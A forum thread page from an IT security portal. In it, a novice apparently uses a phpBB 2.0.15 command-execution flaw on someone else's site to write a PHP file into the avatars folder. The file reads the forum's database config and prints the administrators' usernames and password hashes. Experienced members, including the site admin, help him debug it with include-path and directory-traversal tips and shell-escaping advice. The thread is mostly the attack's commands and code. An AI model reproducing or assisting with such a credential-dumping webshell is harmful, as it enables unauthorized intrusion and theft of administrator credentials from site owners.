Waraxe IT Security Portal
Login or Register
October 9, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 4054
Members: 0
Total: 4054
Full disclosure
[0day-rubbish] StreamSets Transformer 3.17.0 auth-mode none fallback and un-sandboxed ScalaDTransform execution to container root (8.1 primary)
[0day-rubbish] RCDevs WebADM 2.4.14 authenticated log viewer sid command injection to webadm uid 999 code execution (7.2)
[0day-rubbish] Maian Cart 3.8 addBanners unrestricted banner upload to PHP webshell and administrator command execution (7.2 primary, PR:H)
[0day-rubbish] IPConfigure Orchid VMS 26.3.0 authenticated DNF repository GPG-key property command injection to root (7.2)
[0day-rubbish] Circutor LineEds 24.11.14-r0 unauthenticated pwrstudio events.xml shellExecute command injection (9.8)
[0day-rubbish] Asustor ADM 3.5.9.RWM1 (AS602T) music.cgi act=live stored-filename command injection reaching system() (8.8 primary, PR:L)
[0day-rubbish] Advantech WebAccess Node 9.2.3 unauthenticated CrystalRpt.aspx file upload and path traversal to code execution in w3wp.exe (9.8)
SEC Consult Research 20261001 :: Arbitrary Email sender spoofing in Apple iCloud mail
SEC Consult SA-20260924-0 :: Multiple Vulnerabilities in Paessler PRTG Network Monitor #CVE-2026-4637 #CVE-2026-4638
[NotCVE-2026-0019] game-music-emu through 0.6.5 VGM Command Interpreter Missing Operand Length Check Allows Heap Out-of-Bounds Read
[NotCVE-2026-0018] game-music-emu (libgme) through 0.6.5 Unbounded GYM Command Loop Allows Heap Out-of-Bounds Read
[NotCVE-2026-0017] game-music-emu (libgme) 0.6.5 and Earlier AY Loader NULL Pointer Dereference Allows Denial of Service
[NotCVE-2026-0016] game-music-emu VGM Command Interpreter Unvalidated 0xE0 PCM Seek Offset Allows Out-of-Bounds Read and Denial of Service
APPLE-SA-09-28-2026-3 macOS Sequoia 15.8.1
APPLE-SA-09-28-2026-2 macOS Tahoe 26.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Newbies corner -> PLEASE HELP, don't know where to post!! :( (phpBB 2015) Goto page Previous1, 2
Post new topicReply to topic View previous topic :: View next topic
PostPosted: Sat Jun 03, 2006 5:03 pm Reply with quote
Chb
Valuable expert
Valuable expert
Joined: Jul 23, 2005
Posts: 206
Location: Germany




utilizator wrote:
Chb wrote:
Yes, you have to change it.
If you knew, what you have been copying, you would know that "config.php" is included. And where is it? I'm sure, that it isn't in "images/avatars"... So set the path via ".." or use the absolute path.


I don't, remember? "Newbies corner".... Smile

There are enough sites on the internet about PHP... A little bit of searching or better learning would tell you, what to do... Rolling Eyes

Quote:
withe one of this (?):
Code:
include('/hosting/www/www.site.com-docs/forum/config.php');

Right.
Quote:
Code:
include('http://www.site.com/forum/config.php');

Wrong.

_________________
www.der-chb.de
View user's profile Send private message Visit poster's website ICQ Number
PostPosted: Sat Jun 03, 2006 5:39 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Two more options:

1. Use directory traversal:

Code:

include('../../config.php');


2. Write that script not to avatars dir, but right to forum root dir.

By the way - did you get some error messages about failed inclusion?
View user's profile Send private message Send e-mail Visit poster's website
wtf?
PostPosted: Sat Jun 03, 2006 5:42 pm Reply with quote
utilizator
Regular user
Regular user
Joined: Jun 01, 2006
Posts: 11




ok, eighter i'm stupid, or i am....
did this:
Code:

phpBB2.0.15> pwd

27
/hosting/www/www.site.com-docs/forum

f
phpBB2.0.15> echo "<?php" > /hosting/www/www.site.com-docs/forum/images/avatar
s/test.php

f
phpBB2.0.15> echo "error_reporting(E_ALL);" >> /hosting/www/www.site.com-docs/
forum/images/avatars/test.php

f
phpBB2.0.15> echo "include('/hosting/www/www.site.com-docs/forum/config.php');
" >> /hosting/www/www.site.com-docs/forum/images/avatars/test.php

f
phpBB2.0.15> echo "$h=mysql_connect($dbhost,$dbuser,$dbpasswd);" >> /hosting/www
/www.site.com-docs/forum/images/avatars/test.php

f
phpBB2.0.15> echo "mysql_select_db($dbname,$h);" >> /hosting/www/www.site.com-
docs/forum/images/avatars/test.php

f
phpBB2.0.15> echo "$res=mysql_query("SELECT username,user_password FROM ".$table
_prefix."users WHERE user_level=1",$h);" >> /hosting/www/www.site.com-docs/for
um/images/avatars/test.php

f
phpBB2.0.15> echo "$row=mysql_fetch_row($res);" >> /hosting/www/www.site.com-d
ocs/forum/images/avatars/test.php

f
phpBB2.0.15> echo "$un=$row[0];$pw=$row[1];" >> /hosting/www/www.site.com-docs
/forum/images/avatars/test.php

f
phpBB2.0.15> echo "echo "$un:$pw";" >> /hosting/www/www.site.com-docs/forum/im
ages/avatars/test.php

f
phpBB2.0.15> echo "?> " >> /hosting/www/www.site.com-docs/forum/images/avatars
/test.php

f
phpBB2.0.15>


but afterwords,
Code:
http://site.com/forum/images/avatars/test.php

still shows a blank page.... Sad
please help...
View user's profile Send private message
PostPosted: Sat Jun 03, 2006 5:49 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Did you looked in test.php after creating - with "cat" ?
Is its contents as expected?
Because i think, that you need to quote lots of characters in echo commands, like " and $.

Example:

Code:

echo "\$h=mysql_connect(\$dbhost,\$dbuser,\$dbpasswd);" >> /hosting/www/www.site.com-docs/forum/images/avatars/test.php
View user's profile Send private message Send e-mail Visit poster's website
...
PostPosted: Sat Jun 03, 2006 8:40 pm Reply with quote
utilizator
Regular user
Regular user
Joined: Jun 01, 2006
Posts: 11




ok, I think I will quit this forum though I really wanted to do this... Sad
ls - disabled
cat - disabled
(though they worked a couple of days ago....)
I can't do really much blindfolded...
echo-ing something works, if i echo some text I can acces it via browser, but with php I don't know how to see what was written and what wasn't...
allso the only chmoded folder i know is avatars (canot perform a ls -l now to search for another) and the root folder sure isn't.
If any of you guys have some other ideeas on 2015 (phpBB 2.0.15 CHANGELOG) I'd appreciate it...
Waiting for your replys....
View user's profile Send private message
PLEASE HELP, don't know where to post!! :( (phpBB 2015)
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 2 of 2
Goto page Previous1, 2
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.045 Seconds